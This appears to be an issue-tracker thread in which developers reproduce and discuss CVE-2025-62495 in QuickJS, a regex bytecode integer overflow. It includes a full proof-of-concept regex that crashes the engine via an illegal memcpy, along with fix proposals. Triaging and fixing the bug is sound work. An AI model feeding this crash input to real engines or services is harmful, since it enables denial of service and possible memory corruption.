CVE-2025-62495 : High impact issue in QuickJS: integer truncation in libregexp

[Bichette09]

Hello,
I was able to reproduce a crash when testing CVE-2025-62495 on version 0.11.0.

Reproduction

/(?:(?:(?:(?:(?:(?:(?:(?:(?:(?:(?:(?:(?:(?:(?:(?:(?:(?:(?:(?:(?:(?:(?:(?:(?:(?:(?:(?:(?:(?:(?:a|)+|)+|)+|)+|)+|)+|)+|)+|)+|)+|)+|)+|)+|)+|)+|)+|)+|)+|)+|)+|)+|)+|)+|)+|)+|)+|)+|)+|)+|)+|)+/.exec("a");

References

CVE-2025-62495 @ nvd.nist.gov
Google issue tracker original report

[bnoordhuis]

To recap: the regex generates > 2 GB of bytecode, which in turn makes an integer overflow, which then causes a memcpy to try copy memory to an illegal address.

It's kind of unexpected because shorter versions of that regex get rejected with an out-of-memory error:

$ qjs -e '/(:?(:?(:?(:?(:?(:?(:?(:?(:?(:?(:?(:?(:?(:?(:?(:?(:?(:?(:?(:?(:?(:?(:?(:?(:?(?:a|)+|)+|)+|)+|)+|)+|)+|)+|)+|)+|)+|)+|)+|)+|)+|)+|)+|)+|)+|)+|)+|)+|)+|)+|)+|)+/'
InternalError: out of memory
    at <cmdline>:1:1

I'm inclined to fix this:

• short term, by rejecting regular expressions that result in more than a few dozen MB of bytecode

• long term, by making the regex engine more robust against pathological input, although that probably requires a rewrite

[past-due]

For reference, I believe this is also addressed by bellard/quickjs@d9ec8f1 (which I had not ported as part of #1139 yet)

[bnoordhuis]

Yes, I've seen it, but I think its limit is set too high. Restricting it to 64 MB or thereabouts is more likely to close off a whole family of bugs.